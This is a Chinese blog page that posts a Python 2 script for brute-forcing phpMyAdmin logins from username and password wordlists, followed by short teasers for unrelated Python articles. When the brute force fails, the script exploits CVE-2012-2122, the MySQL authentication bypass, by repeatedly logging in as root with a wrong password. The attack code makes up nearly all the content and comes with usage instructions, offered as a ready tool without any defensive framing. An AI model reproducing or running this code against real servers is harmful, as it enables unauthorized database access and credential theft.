Python写的PHPMyAdmin暴力破解工具代码

yipeiwu_com5年前Python基础

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)

相关文章

python实现人人网登录示例分享

复制代码 代码如下:import reimport urllib2import cookielib def renren():    cj = cookie...

python删除文件夹下相同文件和无法打开的图片

前天不小心把硬盘格式化了,丢了好多照片,后来用Recuva这款软件成功把文件恢复过来,可是恢复的文件中有好多重复的文件和无法打开的图片,所以写了两个python的小程序用来解决这个问题...

深入讲解Python编程中的字符串

深入讲解Python编程中的字符串

Python转义字符 在需要在字符中使用特殊字符时,python用反斜杠(\)转义字符。如下表: Python字符串运算符 下表实例变量a值为字符串"Hello",b变量值为"Pyt...

python使用arcpy.mapping模块批量出图

出图是项目里常见的任务,有的项目甚至会要上百张图片,所以批量出土工具很有必要。arcpy.mapping就是ArcGIS里的出图模块,能快速完成一个出图工具。 arcpy.mapping...

python解释器spython使用及原理解析

python解释器spython使用及原理解析

简介 出于个人爱好和某种需求,我再16年对python的解释器产生了浓厚兴趣,并且下定决心重新实现一个版本。我个人再游戏服务器开发中,对c++嵌入lua和python都有着丰富应用经验...